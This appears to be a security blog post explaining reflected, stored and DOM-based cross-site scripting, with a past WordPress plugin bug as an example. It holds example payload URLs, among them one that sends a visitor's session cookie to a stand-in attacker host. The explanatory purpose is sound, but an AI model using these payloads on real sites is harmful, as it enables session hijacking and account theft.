Over the last decade websites have evolved from mostly static platforms to dynamic models — fueling the implementation of Web applications that rely on databases, such as WordPress® and Joomla!®. These Web apps bring users new functionality and a more robust experience. They also usher in potential negative issues for website administrators and Web surfers. Case in point: cross site scripting (XSS).
XSS is an attack that exploits the browser’s trust in the user.
XSS flaws occur whenever an application takes untrusted data and sends it to a Web browser without proper validation and escaping. Typically, this attack aims to steal login credentials or other personal information. For example, the threat actor might be able to exploit a Web application’s unsanitized user input or HTTP requests.
These vulnerabilities allow attackers to execute a script, like malicious JavaScript, in the victim's browser. This code can hijack a user’s session cookies, which might contain usernames, passwords, or other personal details. With that information, attackers might gain control of a user’s email, social media or even bank account. XSS can also be used to deface websites or redirect the user to malicious sites.
A threat actor might use any of three types of XSS attacks to exploit a website.
Non-persistent or reflected attack
A non-persistent attack requires direct interaction by the user visiting the site. An attacker might send a malicious version of the URL or exploit a form on the vulnerable website. This type of attack might be sent to a victim with the intention of stealing their session cookies and ultimately their account.
Often a threat actor will send this as an email similar to a phishing attack. The example below contrasts a site-generated URL versus a malicious URL encoded and sent by a threat actor. In the malicious URL, the attacker relies on the browser to execute the JavaScript added to the link. This particular example uses the location object to send the user’s session cookie to the attacker’s site. From here, the threat actor has a Common Gateway Interface (CGI) script that will store or display the information sent.
Intended URL:
http://domain.tld/?sess=12312312&user=somename
Malicious URL:
http://domain.tld/?sess=12312312&user=<script>// <![CDATA[
document.location='http://attackersite.tld/cgi-bin/steal.cgi?'+document.cookie
// ]]></script>
Information that could be sent to the attacker:
Persistent (or stored) attack
The bad guys often deploy persistent XSS by deploying or exploiting an application or plugin that stores user input in a database. This attack often stores the malicious injection in the website’s database and triggers automatically whenever someone visits that page. This attack doesn’t require the user to click on any malicious links and can be much harder to detect while Web browsing.
Want an example? Think back to July 2013 and the WordPress® and Bit51 Better WP Security plugin. For this particular attack, the threat actor would visit the website while using an intercepting proxy such as Burp Proxy. The attacker would start by visiting a page that does not exist for the site. Next, he modifies the GET request to include a malicious JavaScript injection as part of the path. The security plugin logs information about any time someone visits a page and receives a 404 status code. Therefore, the modified GET request is stored in these logs, which are kept in the website’s database. When the website’s admin clicks the “Logs” tab for the plugin, this form action queries the database’s wp_bwps_log table. When the CMS pulls from the database, this variable is hydrated and the stored XSS is executed.
This exploit might be used to hijack the user’s session, which would allow the attacker to modify the site. Below are screenshots of this vulnerability successfully exploited.
Note: WordPress and the Bit51 Better WP Security Plugin have since been updated to guard against this issue.
Threat actor requests page:
Injection using proxy:
Alert when admin clicks on Logs tab:
Stored XSS in the Database:
DOM (Document Object Model) attack
The threat actor achieves a DOM-based XSS attack by modifying the DOM environment in the user’s browser. This is the result of exploiting the original client-side JavaScript hardcoded into the site. While uncommon, this attack is particularly difficult to address because the HTTP response of a page is not changed and no unique data is sent to the server.
A DOM attack is unique and hard to detect because it occurs client-side, whereas stored and reflected XSS exploit a server side flaw.
A threat actor could use a JavaScript parameter, such as the site language, which is handled client-side in the DOM. The example below shows an XSS attack that exploits JavaScript intended to set the language of a Web page. By proceeding the malicious JavaScript with a “#” symbol, the script is run locally and never sent to the server. The malicious code is stored in the DOM’s ownerDocument object and executes as the page loads.
Client side JavaScript:
document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");
Malicious URL sent by attacker:
http://domain.tld/page.html?default=#"ampersand"lt;script"ampersand"gt;alert(document.cookie)"ampersand"lt;/script"ampersand"gt;
View of the DOM using Firebug:
Fortunately, there are ways to protect your site(s) from XSS attacks. We’ll cover these techniques in an upcoming post. Stay tuned to stay safe!